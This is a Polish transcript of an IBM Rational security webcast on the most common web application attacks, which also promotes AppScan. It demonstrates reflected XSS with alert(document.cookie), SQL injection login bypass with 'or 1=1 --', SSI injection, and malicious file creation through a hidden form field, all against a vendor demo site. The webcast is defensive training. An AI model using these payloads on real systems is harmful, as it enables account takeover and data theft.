Podstawy hakerstwa, czyli 10 najbardziej rozpowszechnionych ataków na aplikacje WWW
Numer spotkania: 107647

Angelique Matheny: Witam i zapraszam na nasz webcast pod tytułem „Podstawy hakerstwa, czyli 10 najbardziej rozpowszechnionych ataków na aplikacje WWW". Nazywam się Angelique Matheny, pracuję w IBM Rational i będę prowadzić dzisiejsze spotkanie.

Naszym gościem jest Shawn Miller, specjalista do spraw bezpieczeństwa i procedur zgodności w IBM Rational. Przez ostatnie 10 lat Shawn zajmował się tworzeniem i wdrażaniem aplikacji WWW. Ma duże doświadczenie w tak istosnych dziś kwestiach związanych z bezpieczeństwem i procedurami zgodności. Do głównych zadań Shawna należy propagowanie zagadnień dotyczących bezpieczeństwa oraz udzielanie przedsiębiorstwom pomocy w uwzględnieniu kwestii bezpieczeństwa w cyklu tworzenia oprogramowania.

Dowiedzą się dziś Państwo, jak ważne jest zabezpieczanie aplikacji WWW przed najistotniejszymi obecnie zagrożeniami w sieci. Shawn opowie także o trzech najczęściej spotykanych rodzajach ataków na aplikacje WWW — skąd się biorą i jak można im zapobiec. Omówi również wady i zalety ręcznej oraz automatycznej metody skanowania i identyfikowania słabych punktów zabezpieczeń aplikacji WWW. Opowie, w jak sposób IBM Rational AppScan może ułatwić automatyzację czynności wykonywanych do tej pory ręcznie.

Zanim zaczniemy, chciałabym zachęcić Państwa do zadawania pytań Shawnowi w dowolnym momencie dzisiejszej prezentacji. Mogą Państwo wpisywać pytania z lewej strony konsoli. Odpowiedzi na nie udzielimy na końcu spotkania. Proszę zatem przygotować pytania wcześniej.

Przed sesją pytań i odpowiedzi przeprowadzimy krótką ankietę, proszę zatem wyłączyć blokowanie okienek w przeglądarce, aby mieć pewność, że ankieta się pojawi. Interesują nas jej wyniki, będziemy zatem wdzięczni za poświęcenie czasu na jej wypełnienie.

Sądzę, że możemy już zacząć. Przekazuję głos naszemu gościowi.

Shawn Miller: Witam wszystkich. Chciałbym przedstawić Państwu korzyści wynikające z weryfikacji bezpieczeństwa aplikacji WWW z wykorzystaniem oprogramowania IBM Rational AppScan.

Zacznę od tego, że niemal w każdym tygodniu pojawiają się informacje wskazujące na powagę problemu zabezpieczania aplikacji. Występują kradzieże danych kart kredytowych. Kradzione są dane osobowe. Złodzieje wykradają także miliony numerów ubezpieczenia społecznego. Zagadnienie to dotyczy obecnie większości korporacji. I jest to rzeczywiście ogromny problem, który trzeba w jakiś sposób rozwiązać.

Często zadajemy pytanie, dlaczego właśnie bezpieczeństwo aplikacji WWW ma dla większości organizacji tak istotne znaczenie. Oprócz wspomnianych informacji, pojawiających się w mediach, istnieje też sporo statystyk z tym związanych. Wiemy na przykład, że aplikacje WWW stanowią dla hakerów cel numer jeden. Firma Gartner przeprowadziła analizę, z której wynika, że 75% ataków następuje obecnie w warstwie aplikacji. Według listy opublikowanej przez firmę Mitre, dwa najczęściej zgłaszane rodzaje ataków to *Cross-site scripting* oraz *SQL Injection*

(iniekcja SQL). *Cross-site scripting* jest szczególnie poważnym zagrożeniem. Był to zresztą największy problem w ciągu ostatnich czterech lat.

Wiemy również, że zagrożona jest obecnie większość serwisów. W ramach prac Watchfire oraz IBM dotarliśmy do statystyki wskazującej, że 90% przeskanowanych serwisów jest zagrożonych którymś rodzajem ataku na poziomie aplikacji. Według firmy Symantec 78% słabych punktów tych aplikacji można łatwo wykorzystać do włamania. Według firmy Gartner do roku 2010 incydenty związane z bezpieczeństwem mogą wystąpić w 80% organizacji.

Często pytamy zatem: dlaczego te aplikacje stanowią tak ważny cel dla hakerów? Cóż, te serwisy zawierają dane klientów, dane kart kredytowych. Łatwiej jest ukraść tożsamość. A efektem takich kradzieży są różnego rodzaju oszustwa, takie jak podmiana stron WWW.

Pojawia się również wiele wymagań dotyczących zgodności, wprowadzanych w celu rzeczywistego zabezpieczenia tych informacji. Na przykład w branży kart kredytowych pojawił się standard PCI DSS. Są też inne podstawy prawne, na przykład GLBA, HIPAA czy FISMA. Dla większości organizacji jest to zatem poważna kwestia i musi zostać uwzględniona już teraz.

Następny slajd nosi tytuł „Wbudowanie mechanizmów zabezpieczeń i zgodności w proces tworzenia oprogramowania". Najpierw przyjrzyjmy się tradycyjnemu podejściu do rozwiązania problemu. Problem był zwykle odkładany na koniec cyklu tworzenia aplikacji. Zatem tradycyjna metoda polegała na uruchomieniu skanowania aplikacji dopiero wówczas, gdy była ona przekazywana do produkcji. Załóżmy, że mamy aplikację Team Build, której opracowanie zajęło rok.

Pod koniec cyklu opracowywania, gdy aplikacja jest już gotowa do wdrożenia, dokonujemy analizy jej zabezpieczeń w poszukiwaniu słabych punktów. Kłopot polega na tym, że rodzaj wykrytych w ten sposób słabych punktów może mieć istotny wpływ na termin wydania aplikacji. Może się okazać konieczne poświęcenie jeszcze kilku dodatkowych miesięcy na prace projektowe. Może być potrzebna całkowita zmiana architektury. Koszt rzeczywistego rozwiązania problemu jest zatem znacznie większy, gdy zajmiemy się tym pod koniec cyklu tworzenia aplikacji. Większość organizacji bada więc możliwość przeniesienia zabezpieczeń na poziom operacyjny i uwzględnienia ich w samej aplikacji. W ten sposób koszty naprawy usterki lub problemu dotyczącego bezpieczeństwa znacznie się zmniejszają — tym bardziej, im wcześniej zostanie to uwzględnione w cyklu tworzenia aplikacji.

Jeśli na przykład pracownicy działu zapewniania jakości uruchamiają skanowanie w ramach procesu konsolidacji... Nie. Sformułujmy to inaczej. Załóżmy, że pracownicy działu zapewniania jakości uruchamiają test w ramach wykonywania testów funkcjonalnych aplikacji. Problem mógłby zostać wykryty znacznie wcześniej i można by bardzo szybko zająć się jego rozwiązaniem.

A co by było, gdybyśmy dali samym twórcom aplikacji dostęp do narzędzi umożliwiających uruchamianie takiego skanowania? Mogłoby ono być elementem procesu konsolidacji, a nawet mogłoby być używane w trakcie tworzenia funkcjonalności przez programistów. Mogliby oni uruchamiać testy jednostkowe od razu wykrywające słabe punkty zabezpieczeń i szybko rozwiązywać problemy, co w ogóle nie opóźniałoby procesu tworzenia aplikacji.

Mamy zatem wiele różnych rozwiązań, które mogą ułatwić szybkie tworzenie danej aplikacji, a nie utrudniać je, jak to się dzieje w przypadku znajdowania słabych punktów zabezpieczeń znacznie, znacznie później w cyklu produkcyjnym.

Spójrzmy teraz na ogólną architekturę aplikacji WWW — jest to aplikacja tradycyjna. Po prawej mamy serwery aplikacji, na których działają aplikacje. Mamy bazy danych. Możemy mieć też serwer LDAP i różne procesy systemów zaplecza.

Z lewej strony mamy naszego zwykłego użytkownika. Jeśli użytkownik komunikuje się z tą aplikacją, powiedzmy że w tym wypadku przez Internet, to można wykorzystać pewne mechanizmy do ochrony przesyłanych informacji. Możemy na przykład wykorzystać SSL, czyli szyfrowanie informacji. Możemy mieć do dyspozycji firewall, który nie pozwala na bezpośredni dostęp do tych wszystkich systemów zaplecza. Gdy jednak mówimy o bezpieczeństwie aplikacji WWW, problem polega na tym, że komunikacja z udostępnioną aplikacją odbywa się przez jakiś port, na przykład port 443 lub 80. Komunikujemy się bezpośrednio przez firewall z systemem zaplecza. Interesujące jest jedno: mimo że nie powinniśmy ufać żadnej informacji pochodzącej od tego użytkownika, jest ona przesyłana do aplikacji WWW. A infrastruktura zaplecza jest traktowana jako zaufana przez serwer WWW.

Zatem aby wykorzystać te słabe punkty, powinniśmy oprzeć się właśnie na tym fakcie. Najpierw przyjrzyjmy się sieciowym metodom ochrony aplikacji WWW. Na tym diagramie mamy na przykład firewall, system wykrywania włamań, system zapobiegania włamaniom i jeszcze jeden firewall. Firewall ma chronić dostęp do różnych zasobów zaplecza. Możemy przykładowo chronić serwer zawierający cenniki. Ale problemem znowu jest fakt, że komunikujemy się z wykorzystaniem akceptowanego protokołu (HTTP lub HTTPS) i że łączymy się przez port 80 lub 443. Firewall zatem nie zatrzyma takiego ataku.

System wykrywania włamań jest systemem pasywnym, który nasłuchuje różnych sygnatur. Na przykład jeśli badamy atak typu *cross-site scripting*, system może zidentyfikować największy blok skryptu. Natomiast system zapobiegania włamaniom działa aktywnie: po znalezieniu odpowiedniej sygnatury anuluje żądanie, które nie będzie już mogło być kontynuowane. Problem polega teraz na tym, że wspomniane systemy mogą nie odczytać żądania lub go nie zrozumieć, jeśli zostało zakodowane w inny sposób, na przykład w UTF-7, lub jeśli jest przesyłane przez SSL — jest wtedy zaszyfrowane i większość systemów nie może go odczytać.

Firewall programowy jest interesującym systemem, najbardziej inteligentnym spośród wszystkich wymienionych elementów. Dokonuje faktycznego sprawdzenia różnych danych wejściowych w tych częściach aplikacji, z którymi komunikuje się użytkownik. Firewall programowy musi być jednak aktualizowany za każdym razem, gdy aplikacja zostanie zmieniona. Jeśli reguły nie są ustalone w odpowiedni sposób, mogą pojawić się problemy. Zatem niezwykle ważnym, kluczowym aspektem zabezpieczania aplikacji WWW jest to, aby mogła ona chronić się sama i polegać na innych systemach, które mogą przestać działać, ulec zmianie bądź stracić skuteczność. Możliwość ochrony aplikacji WWW przez nią samą jest więc szczególnie istotna.

Spójrzmy teraz na slajd poświęcony pewnym mitom. Dość często słyszymy: nasz serwis jest bezpieczny. Jak wiadomo, są różne mechanizmy, z których zwykle korzystają firmy. Na przykład

firewall. Widzieliśmy na jednym z wcześniejszych slajdów, że nie daje on praktycznie żadnej ochrony, gdy chodzi o atak na aplikację WWW. Komunikujemy się przez HTTP, przez port 80 lub 443, a firewall na taką komunikację pozwala.

Często również dowiadujemy się, że użytkownicy wykonują kontrolę raz na kwartał z wykorzystaniem testów penetracyjnych. Tu z kolei problem polega na tym, że jeśli nie stosujemy właściwego procesu zarządzania zmianami, dowolna zmiana w aplikacji może spowodować pojawienie się ryzyka dla organizacji. Zatem musi istnieć coś więcej niż tylko kontrola raz na trzy miesiące.

Często dowiadujemy się, że firmy korzystają ze skanerów wykrywających słabe punkty zabezpieczeń. Takie skanery szukają jednak zagrożeń, które są bardzo różne na wielu poziomach aplikacji, ale tym się zajmiemy za moment.

Po pierwsze, zastanówmy się, jakie są rzeczywiste słabe punkty. Na pierwszym slajdzie przedstawiono standardowy stos, w którym wyróżniono poziom sieci, systemu operacyjnego, aplikacji, bazy danych i serwera WWW, aż po aplikację WWW. Gdy mówimy o faktycznym zabezpieczeniu systemu, musimy uwzględnić kilka rodzajów analizy zagrożeń i różnych narzędzi do jej przeprowadzenia.

Na następnym slajdzie przedstawiono pierwszy sposób, czyli analizę zagrożeń sieciowych. W tym obszarze mamy do dyspozycji wiele narzędzi. Produkty takie, jak Nessus, ISS, QualysGuard, EEye Retina oraz Foundstone, koncentrują się na działaniu sieci, serwerów WWW, ich konfiguracji oraz działaniu komponentów pochodzących od firm zewnętrznych. Nie wykonuje się tu analizy na poziomie aplikacji WWW, na poziomie bazy danych itd.

Przejdźmy do kolejnego slajdu. Przedstawiono tu błędy — chodzi zatem o skanowanie hostów. Służą do tego narzędzia Symantec, NetIQ, ISS, CA, Harris STAT. Ich działanie koncentruje się głównie na aplikacjach i systemie operacyjnym.

Jest wreszcie poziom bazy danych; w tej warstwie działa specjalistyczne oprogramowanie skanujące, np. oprogramowanie firm AppSec Inc. oraz NGSSoftware. Na slajdzie dotyczącym skanowania aplikacji widać, że skanowaniu podlegają wszystkie elementy najwyższego poziomu. Żadne ze wspomnianych narzędzi nie skanowało całej górnej połowy tego diagramu. Nie można zatem sprawdzić serwera WWW, jego konfiguracji, komponentów pochodzących od firm zewnętrznych, a wreszcie wszystkich usług. Jeśli przyjrzymy się wszystkim uczestnikom tego rynku, zauważymy firmę Watchfire, przejętą przez IBM, firmę SPIDynamics, nabytą przez HP, a także firmy Cenzic, NT Objectives i Acunetix.

Istnieją też nowe technologie, które służą do analizowania słabych punktów zabezpieczeń, wykorzystywane na przykład w produktach firm Fortify, Ounce Labs, Secure Software, Klockwork i Parasoft. Koncentrują się one jednak głównie na dwóch najwyższych warstwach tego modelu, a zatem bardziej na poziomie kodu. Sprawdzają raczej, jak wygląda przekazywanie danych między punktami końcowymi. Nie wykrywają zbyt wielu ważnych problemów związanych z logiką biznesową, jak na przykład zablokowanie konta użytkownika.

Jest pewna interesująca kwestia, na którą musimy zwrócić uwagę. Jak widać na kolejnym slajdzie, w rzeczywistości bezpieczeństwo i przeznaczone na nie nakłady nie równoważą się wzajemnie. Zwykle wydatki w tym zakresie przeznacza się głównie na serwery sieciowe. Tak więc 90% wydatków idzie na zabezpieczenie warstwy sieci, a tylko 10% na warstwę aplikacji WWW. Dlaczego wydaje mi się to takie niepokojące? Otóż jeśli spojrzymy na statystykę ataków, zauważymy że tylko 25% z nich jest przeprowadzanych w warstwie sieci. Czyli 75% ataków dotyczy warstwy aplikacji WWW. Trzeba zatem koniecznie poświęcić więcej uwagi warstwie aplikacji. To statystyki, które zostały przedstawione przez firmę Gartner.

Zastanówmy się, czym tak naprawdę jest aplikacja WWW. Zacznijmy od tego miejsca na samym dole. Użytkownicy korzystają z przeglądarki i komunikują się z aplikacją z użyciem HTML, a dokładniej — widzą aplikację wyświetlaną w HTML, a komunikują się za pośrednictwem protokołu HTTP.

Oprócz samej aplikacji WWW mamy jeszcze serwer WWW. Kod interfejsu użytkownika znajduje się w aplikacji frontowej. Jest też aplikacja zaplecza, która komunikuje się z bazą danych, i są w końcu dane, do których aplikacja ma dostęp. Warto zauważyć, że dane są przekazywane między różnymi warstwami, istotne zatem staje się sprawdzanie poprawności tych danych; włamanie na dowolnym poziomie wprowadza zagrożenie i umożliwia potencjalny atak na aplikację.

Przykładowo jeśli użytkownik wpisuje dane, które są przekazywane do aplikacji zaplecza, ale nie podlegają sprawdzeniu, to istnieje ryzyko iniekcji SQL lub podobnego działania. Kluczową sprawą dotyczącą bezpieczeństwa jest konieczność przejrzenia wszystkich przekazywanych danych, sprawdzenia ich i upewnienia się, że mogą one być dalej przesłane w bezpieczny sposób.

Spójrzmy teraz na następny slajd dotyczący problemów związanych z bezpieczeństwem; podzielono je na te, którymi zarządzamy, i te, których jesteśmy właścicielami. Istotne są tutaj różne typy słabych punktów zabezpieczeń. Wyróżniliśmy ogólne słabe punkty WWW (Common Web Vulnerabilities — CWV) oraz słabe punkty specyficzne dla aplikacji (Application Specific Vulnerabilities — ASV). Warto moim zdaniem wskazać, gdzie te punkty występują i kto tak naprawdę jest odpowiedzialny za ich zlikwidowanie. W przypadku ogólnych słabych punktów zabezpieczeń WWW przyczyną awarii są źle zabezpieczone aplikacje opracowane przez firmy zewnętrzne. Aby wykryć taki słaby punkt, zwykle niezbędne jest wyszukanie pewnych sygnatur lub sprawdzenie, czy nie występują znane problemy z konfiguracją. Ryzyko wynika głównie z faktu, że pojawiają się opóźnienia czasowe, a kontrola kosztów wiąże się wyłącznie z czynnościami niezbędnymi do zabezpieczenia takiej aplikacji firmy zewnętrznej. Może to oznaczać na przykład oczekiwanie na opracowanie poprawek.

Jeśli natomiast mówimy o słabych punktach zabezpieczeń specyficznych dla aplikacji, to mamy na myśli opracowanie aplikacji bez uwzględniania bezpieczeństwa, a to z reguły odbywa się już w naszej firmie. Czyli to aplikacja, którą tworzymy, zawiera te słabe punkty. Hakerzy mogą wykorzystywać takie techniki, jak iniekcja SQL, modyfikowanie ścieżki i *cross-site scripting*. Do wykrycia takich włamań niezbędna jest bardzo konkretna wiedza na temat aplikacji. W takich sytuacjach niezwykle przydatne stają się narzędzia typu AppScan. A ryzyko jest takie, że potencjalnie wpływa to na cykl tworzenia aplikacji. Chodzi o opóźnienie wydań aplikacji i tak

dalej. Im wcześniej wykryjemy takie słabe punkty, tym wcześniej można je usunąć, co istotnie zmniejsza ilość środków, które na to przeznaczamy.

Jeśli już mówimy o faktycznym rozwiązywaniu problemów przez organizacje, to wiele z nich dopiero od bardzo niedawna zajmuje się bezpieczeństwem aplikacji. Dobrym punktem startowym jest serwis OWASP. OWASP publikuje listę 10 najczęstszych sposobów ataku, dzięki czemu można poznać najpopularniejsze metody działania hakerów. OWASP to skrót nazwy Open Web Application Security Project (otwarty projekt dotyczący bezpieczeństwa aplikacji WWW). Jest to organizacja zajmująca się poprawą bezpieczeństwa oprogramowania. Lista publikowana przez OWASP stanowi zestawienie problemów, ogólnie uznawanych za najważniejsze, związanych z bezpieczeństwem aplikacji WWW. Jest to zatem dobry punkt startowy, jeśli chcemy zrozumieć, co użytkownicy mogą zrobić z naszą aplikacją, oraz gdy chcemy ogólnie poznać sytuację na rynku.

Przyjrzyjmy się teraz liście OWASP i kilku wymienionym na niej zagrożeniom. Pierwsze z nich to atak typu *cross-site scripting*. Pozwala on włamywaczom na kradzież tożsamości, uzyskanie dostępu do poufnych informacji, a także na podszywanie się pod uprawnionych użytkowników i przejęcie kontroli nad ich kontami.

Dalej są metody ataku związane ze wstawianiem kodu — prawdopodobnie znana jest już Państwu metoda iniekcji SQL. Umożliwia ona hakerom manipulowanie bazą danych, katalogiem LDAP i innymi systemami zaplecza.

Uruchomienie złośliwego pliku oznacza potencjalną możliwość wykonywania komend powłoki na serwerze. Jest jeszcze parę innych słabych punktów, które należy uwzględnić, na przykład niezabezpieczone bezpośrednie odwołania do obiektów, wyciek informacji czy niewłaściwa obsługa błędów. Kolejnym przykładem jest brak ograniczeń dostępu do adresów URL.

Zacznijmy od pierwszego problemu i zajmijmy się metodą *cross-site scripting*, oznaczaną czasami skrótem XSS. Postaram się najpierw pokazać, na czym w ogóle polega *cross-site scripting*. Jest to w zasadzie szkodliwy skrypt umieszczany w kodzie HTML zwracanym przez zaufany serwer. Uruchamia się on w ramach tego samego zaufanego połączenia. Jakie są tego skutki? Można ukraść znaczniki sesji, można zmienić zawartość całej strony. Zagrożenie może też dotyczyć dowolnych stron, do których w przyszłości odwoła się użytkownik.

Przejdźmy do następnego slajdu. Po pierwsze chciałbym zademonstrować sposób działania *cross-site scripting*. Zajmiemy się przede wszystkim znalezieniem miejsca, w którym dane wprowadzone przez użytkownika mogą zostać przekazane ponownie do przeglądarki. Sprawdzimy, czy dane są zwracane bez zmian, czy też są odpowiednio zakodowane — i zobaczymy, jak wykorzystać ten słaby punkt.

Spójrzmy zatem na slajd, na którym przedstawiono pierwszy przykład XSS. W prawym górnym rogu serwisu Altoro Mutual umieszczono funkcję wyszukiwania. Jest to serwis, który umieściliśmy pod adresem demo.testfire.net. Wykorzystamy go do zademonstrowania zagrożenia. Pole wyszukiwania zawsze dobrze się nadaje do zademonstrowania *cross-site scripting*. Po pierwsze sprawdzamy, czy wpisanie jakiegoś nieszkodliwego ciągu znaków, na przykład „asdf”, i naciśnięcie przycisku wyszukiwania spowoduje ponowne wyświetlenie tego napisu na ekranie.

Jak widać w lewym dolnym roku, napis „asdf" pojawił się ponownie, została również wyświetlona informacja, że dla tego zapytania nie znaleziono wyników.

Proszę zwrócić na to uwagę. Na samej górze, w łańcuchu zapytania zaczynającym się od znaków *www.testfire.net/search.Aspx?TxtSearch=*, można zauważyć, że tekst wpisany w okienku wyszukiwania również jest częścią tego adresu URL. Przejdźmy teraz do następnego slajdu. Widzimy tu źródłowy kod HTML. To, co wpisałem w oknie wyszukiwania, pojawia się rzeczywiście w samym kodzie HTML.
Zobaczmy zatem, jak można to wykorzystać.

Na kolejnym slajdzie widać, że zamiast ciągu „asdf" włamywacz wpisał znacznik skryptu. Musimy sprawdzić, czy mamy tu do czynienia z zagrożeniem typu *cross-site scripting*. Wpiszemy kod JavaScript; spróbujmy wpisać alert(document.cookie).
Efektem tego będzie wyświetlenie zawartości informacji cookie wykorzystywanej aktualnie przez użytkownika. W oknie alertu widać teraz parametry Session ID oraz AmSession ID sesji ASP.NET. Są to dwie informacje cookie wykorzystywane do śledzenia mojej sesji. Pokazałem właśnie, że możliwe jest wprowadzenie jako parametru pewnego kodu, który zostanie następnie wykonany w przeglądarce użytkownika po wyświetleniu strony.

W źródłowym kodzie HTML można zobaczyć, że wprowadzony przez użytkownika skrypt był rzeczywiście wyświetlony na ekranie. Jest to zatem bardzo poważne zagrożenie. Na następnym ekranie wymieniono sytuacje, w jakich może pojawić się problem *cross-site scripting*. Bardzo często występuje on na stronach wyszukiwania. Dotyczy to nawet stron informujących o błędach. Czasami można zobaczyć stronę z komunikatem o błędzie, np. „Strona nie została znaleziona", lub stronę przekierowującą itp.; takie dane również zostaną wprowadzone do kodu HTML. Problem polega na tym, że przekazanie z powrotem dowolnych danych (ścieżki, zapytania, danych przesłanych przez użytkownika czy zawartości nagłówka strony) pozwala na przeprowadzenie potencjalnego ataku na stronę, jeśli tylko mamy możliwość wprowadzenia jakiegoś kodu. Nawet niektóre technologie wykorzystywane w przeglądarkach, takie jak AJAX i Flash, zwiększają ryzyko działania aplikacji.

Przejdźmy do następnego slajdu, aby zrozumieć, jak mogłoby to zostać wykorzystane. Mogę dysponować kilkoma zewnętrznymi serwisami WWW. Może to być na przykład serwis evil.org, gdzieś w Internecie. Zamierzam teraz wysłać wiadomość e-mail albo wpisać coś na blogu lub w serwisie WWW, aby zachęcić kogoś do kliknięcia takiego odsyłacza. Teraz wyślę tę wiadomość do wszystkich. Odbiorca klika odsyłacz. Jeśli użytkownik przyjrzy się zawartości odsyłacza, zobaczy nazwę rzeczywistego serwisu i przyjmie, że jest odsyłany do poprawnej strony.

Gdy kliknie odsyłacz, zostanie skierowany do rzeczywistego serwisu bankowego, a kod JavaScript (lub inny), wprowadzony jako parametr, zostanie przekazany razem z żądaniem. Serwis banku przetwarza tę informację i odsyła odpowiedź użytkownikowi. W tym momencie wprowadzony kod JavaScript — czy dowolny inny — jest uruchamiany w przeglądarce użytkownika. Może zatem rejestrować sekwencje klawiszy naciskanych przez użytkownika, przesyłać dane do zewnętrznych serwisów WWW lub zmieniać zawartość wyświetlaną właśnie w przeglądarce. Od tej pory dowolne działanie użytkownika może się skończyć przesłaniem danych na zewnątrz.

Zatem podsumujmy. Na pierwszym slajdzie widzimy, jak serwis evil.org przesyła wszystkim użytkownikom odsyłacz do serwisu bank.com. Na następnym widać, że dane są przesyłane do serwisu bank.com, a na kolejnym — że wracają do użytkownika i są wyświetlane na ekranie. Następnie wszystkie informacje są przesyłane do serwisu evil.org. Jak widać na ostatnim slajdzie, użytkownik przestaje już być niezbędny. Mamy wszystkie dane uwierzytelniające użytkownika. Mamy wszystkie informacje, które go dotyczą. Możemy już dostać się bezpośrednio do aplikacji WWW bez jego udziału.

W tym przypadku mieliśmy zatem do czynienia z czterema etapami uzyskania od użytkownika wszystkich niezbędnych informacji. Teraz przejdę do następnego ekranu i omówię sposób wykorzystania XSS. Będzie to podsumowanie tego, o czym mówiliśmy. Jeśli potrafimy skłonić użytkownika do uruchomienia naszego kodu JavaScript, to możemy ukraść informację cookie z domeny, z którą ten użytkownik się łączy. Możemy prześledzić każde działanie wykonywane przez niego w przeglądarce. Możemy go przekierować do serwisu wyłudzającego dane. Możemy całkowicie zmodyfikować zawartość wszystkich stron wyświetlanych w danej domenie i wykorzystać słabe punkty przeglądarki do przejęcia kontroli nad komputerem użytkownika. *Cross-site scripting* stanowi dziś zatem główne zagrożenie. Jest najczęściej wykorzystywaną techniką działania.

Opowiem teraz o kolejnym zagrożeniu, czyli o zagrożeniach związanych z iniekcją kodu. Co to znaczy? Informacje wprowadzone przez użytkownika są przesyłane do interpretera jako część zapytania albo dane. Dzięki temu aplikacje mogą być bardziej dynamiczne, mogą pobierać dane z formularzy, przesyłać zapytania bazy danych. Są różne typy zagrożeń związanych z iniekcją kodu. Pierwszym z nich jest iniekcja SQL, która wiąże się z możliwością odczytania i zmodyfikowania danych w bazie. Iniekcja SSI umożliwia wykonywanie komend na serwerze i dostęp do poufnych danych. Iniekcja LDAP pozwala na ominięcie uwierzytelniania.

Na kolejnym slajdzie przyjrzymy się iniekcji SQL, w której dane wprowadzone przez użytkownika są wprowadzane do komendy SQL. Zacznijmy od prostego przykładu. Mamy raport, który przykładowo zawiera szczegóły produktu wybranego na podstawie identyfikatora (ID). W aplikacji zaplecza programista umieścił linię kodu w postaci „select from products where ID =”. Na końcu znajduje się miejsce na wpisanie identyfikatora, tak więc parametr zapytania jest podawany przez użytkownika. Tak się składa, że aby dokonać ingerencji w to zapytanie, wystarczy jedynie napisać własny kod. Stosuje się tutaj pewną drobną sztuczkę, która polega na wpisaniu apostrofu, co umożliwia podzielenie instrukcji SQL i wprowadzenie dowolnego kodu bezpośrednio po takim znaku.
Przejdźmy do następnego slajdu ― zobaczymy na nim przykład iniekcji SQL. Pierwszym etapem określania profilu aplikacji jest ustalenie, jakie pola są umieszczane w komendzie SQL. Zatem pierwszym krokiem jest wpisanie w polu apostrofu. Na następnym ekranie widać, że system zwrócił błąd. Wyświetlony komunikat zawiera informację o błędzie składniowym. Na pierwszy rzut oka wygląda to zatem na problem z aplikacją. Jeśli jednak spróbujemy zrozumieć, co się stało w systemie zaplecza, to zobaczymy że wprowadziliśmy znak, który zmienił składnię kodu na poziomie bazy danych. Sugeruje to, że możemy spróbować wprowadzić własny kod, który zostanie uruchomiony. Musiałem nieco zmodyfikować składnię, aby umożliwić takie działanie.

Przejdźmy do kolejnego slajdu. Spróbujemy tu ponownie wprowadzić jakiś własny fragment kodu. Umieśćmy zatem w apostrofach napis 1=1. Baza danych zamiast wykonania zapytania

„select * from user_table where user_name='JSmith' and password='demo1234'" wykona zapytanie „select * from user_table where user_name={PUSTE} or 1=1". Akurat w tym przypadku nie zwróci ono wszystkich użytkowników w bazie, bo mamy jeszcze ten kłopotliwy parametr „password". Z reguły włamywacze wpisują tu ciąg znaków złożony z dwóch łączników (--), co powoduje całkowite zignorowanie pozostałej części zapytania. Dwa łączniki to oznaczenie komentarza. Zatem teraz zapytanie brzmi „select * from user_table where user_name={PUSTE} or 1=1". W takiej postaci zwróci ono już listę wszystkich użytkowników w systemie.

Na kolejnym slajdzie przedstawiono następny przykład. Jak widać, mogłem się zalogować jako użytkownik „System", który został zwrócony jako losowy użytkownik. A w systemie występuję przecież jako John Smith. Problem jest zatem wyjątkowo niepokojący: dostaliśmy się do wnętrza aplikacji za pomocą jednej, bardzo prostej linii kodu. Stało się tak dlatego, że programista nie korzystał ze wstępnie interpretowanych instrukcji (*prepared statements*) lub jakiejś sparametryzowanej formy przekazywania danych. Zapytanie zostało przekazane do bazy danych bez żadnego sprawdzania.

Poznaliśmy efekt iniekcji SQL, o której ostatnio tak dużo się mówi. Na następnym slajdzie zobaczymy jeszcze kilka innych ciekawych przykładów takiego działania. Są jednak także inne rodzaje wstawiania kodu, na przykład iniekcja SSI, zaprezentowana na tym ekranie. Wygląda to prawie jak komentarz w języku HTML, ma jednak składnię komendy. Komenda jest zatem przesyłana do systemu zaplecza i zostanie uruchomiona na serwerze w ramach SSI (*server side include*), czyli dołączania dokumentów po stronie serwera. Przejdźmy teraz do następnego ekranu.

Co się właściwie stało? Uzyskaliśmy prywatny klucz SSL serwera! Widzimy zatem, jak niebezpieczne jest przekazywanie bez żadnych zmian danych wpisanych przez użytkownika i wykonywanie komendy bez jej sprawdzenia. Zatem niezwykle istotne jest, abyśmy nigdy, powtarzam: nigdy, nie pobierali danych od użytkownika w niezmienionej postaci, czyli bez wykonania uprzedniego sprawdzenia.

Na następnym slajdzie omawiamy uruchomienie złośliwego pliku. Ogólnie chodzi o to, że skłaniamy aplikację do uruchamiania komend lub tworzenia plików na serwerze. W efekcie możemy przejąć właściwie całkowitą kontrolę nad maszyną. Możemy podmienić strony serwisu, możemy wykorzystać XSS. Jest mnóstwo rzeczy, które jesteśmy w stanie zrobić na serwerze.

Na kolejnym ekranie pokazano, jak może przebiegać taki atak. Jak można wykorzystać ten konkretny słaby punkt zabezpieczeń? Znów musimy najpierw zrozumieć aplikację i określić jej profil. Spójrzmy zatem na formularz ankiety. Zastanówmy się, co robi aplikacja po przesłaniu danych za pośrednictwem tego formularza? Być może umieszcza je w bazie danych?

Spróbujmy zatem wpisać apostrof, aby sprawdzić, czy pojawi się błąd bazy danych. Przejdźmy do następnego slajdu. Pojawiło się ostrzeżenie o możliwym ataku. Co ciekawe, to okienko wykorzystuje narzędzie pod nazwą Tamper Data, zdefiniowane w poprzednim bloku. Wprowadziłem zatem dane, a moduł Tamper Data przechwycił to żądanie, zanim zostało przekazane do serwera WWW. Projektant serwisu ujawnił zatem fragment logiki. W tym miejscu zaznaczyłem „comments.txt". Projektant utworzył ukryte pole wejściowe pod nazwą „efile",

które określa, w jakim pliku ma być zapisany komentarz wprowadzony przez użytkownika. Jest tu też pole z nazwą i tak dalej.

Zastanówmy się, czym jest „comments.txt"? Może w tym pliku są zapisywane wszystkie dane wprowadzone przez użytkownika? Na kolejnym slajdzie widać, że próbuję zmienić nazwę pliku i spowodować, aby serwer WWW utworzył właśnie taki plik. W tym przypadku zamiast zwykłego pliku tekstowego utworzymy plik ASPX. Wprowadzimy nieco kodu C# . Zrobimy coś całkiem prostego. Zapiszemy plik z nazwami hostów. Metodą prób i błędów osiągniemy w końcu to, że — jak widać na kolejnym slajdzie — po wprowadzeniu kodu i uruchomieniu żądania możemy zmusić system do przejścia do mojego „złego" serwisu. Jak widać, byliśmy w stanie z poziomu tego pola dostać się do pliku z nazwami hostów. Zwykły użytkownik na pewno nie powinien mieć takiej możliwości.

Stało się tak dlatego, że projektant strony ujawnił ważny fragment logiki aplikacji. Aplikacja wykorzystuje dane wprowadzone przez użytkownika do utworzenia pliku, który nie istniał, a to wskazuje, gdzie są zapisywane dane. Byliśmy zatem w stanie wykorzystać ten słaby punkt zabezpieczeń.

